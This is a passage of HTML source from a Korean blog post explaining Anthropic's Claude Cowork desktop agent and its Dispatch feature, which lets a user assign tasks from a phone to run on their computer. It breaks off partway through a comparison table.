&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1084&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kD9bq/dJMcag51O9q/MW2Cd3tnORfWXlvQe1ezM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kD9bq/dJMcag51O9q/MW2Cd3tnORfWXlvQe1ezM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kD9bq/dJMcag51O9q/MW2Cd3tnORfWXlvQe1ezM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkD9bq%2FdJMcag51O9q%2FMW2Cd3tnORfWXlvQe1ezM1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1988&quot; height=&quot;1084&quot; data-origin-width=&quot;1988&quot; data-origin-height=&quot;1084&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic 공식 지원 문서는 Dispatch를 이렇게 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; border-left: 4px solid #6c757d; padding: 20px; margin: 20px 0; border-radius: 0 8px 8px 0; font-style: italic;&quot;&gt;&quot;Cowork gives you one continuous conversation with Claude that you can reach from your phone or your desktop. You can assign Claude a task, go do something else, and come back to the finished work. Claude runs on your computer&amp;mdash;with access to your local files, connectors, and plugins&amp;mdash;and messages you the result when it's done.&quot;&lt;br /&gt;(Cowork는 휴대폰과 데스크톱 어디서든 이어서 접근할 수 있는, Claude와의 하나의 연속된 대화를 제공합니다. Claude에게 작업을 맡겨두고 다른 일을 하러 간 뒤, 끝난 결과를 나중에 다시 확인할 수 있습니다. Claude는 당신의 컴퓨터에서 직접 실행되며, 로컬 파일(local files), 커넥터(connectors), 플러그인(plugins)에 접근할 수 있고, 작업이 끝나면 결과를 메시지로 알려줍니다.)&lt;br /&gt;&lt;span style=&quot;font-size: 13px; color: #666; font-style: normal;&quot;&gt;&amp;mdash; Anthropic 공식 지원 문서 (support.claude.com)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;풀어서 말하면 이렇다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;폰과 데스크탑이 하나의 대화를 공유한다.&lt;/b&gt; 폰에서 지시하면 집 컴퓨터가 실행한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;작업을 위임하고 자리를 비울 수 있다.&lt;/b&gt; 결과가 나오면 돌아와서 확인하는 방식이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;데스크탑의 파일, 커넥터, 플러그인 접근 권한을 그대로 활용한다.&lt;/b&gt; 폰에서 직접 할 수 없는 작업도 데스크탑을 통해 처리된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cowork와의 관계&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Dispatch는 독립 기능이 아니라 &lt;b&gt;Cowork의 하위 기능&lt;/b&gt;이다. Cowork를 설치하지 않으면 Dispatch를 사용할 수 없다. Cowork에서 설정해둔 커넥터와 플러그인, 파일 접근 권한을 Dispatch가 그대로 상속해서 폰에서도 같은 범위의 작업을 지시할 수 있다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Remote Control과 Dispatch는 다른 기능이다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code(CLI)에는 별도의 &lt;b&gt;Remote Control&lt;/b&gt; 기능이 있다. 터미널 세션을 웹/모바일에서 원격으로 접근하는 기능이다. Dispatch는 Claude Cowork(데스크탑 앱)에서만 동작하며, CLI와는 무관하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: Cowork 간단 복습 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Cowork 간단 복습&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Cowork란&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dNYFy3/dJMcafsuQqn/uVJo1tNbJol171TN87lzLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dNYFy3/dJMcafsuQqn/uVJo1tNbJol171TN87lzLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dNYFy3/dJMcafsuQqn/uVJo1tNbJol171TN87lzLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdNYFy3%2FdJMcafsuQqn%2FuVJo1tNbJol171TN87lzLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1088&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Cowork는 2026년 1월 출시된 Claude Desktop 앱의 기능이다. 기존 Claude는 프롬프트 하나에 응답하고 끝났다. Cowork는 차별점이 있다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;멀티스텝 목표를 받아 계획을 수립하고 실행하는 지속적 에이전트 세션&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic이 직접 표현한 포지셔닝이 있다. &quot;AI 탭을 방문하는 게 아니라 위임하는 동료&quot;다. 대화창을 닫아도 맥락이 유지되고, 로컬 파일, 커넥터, 플러그인에 접근하면서 작업을 완료할 때까지 실행된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;일반 Claude와의 차이&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&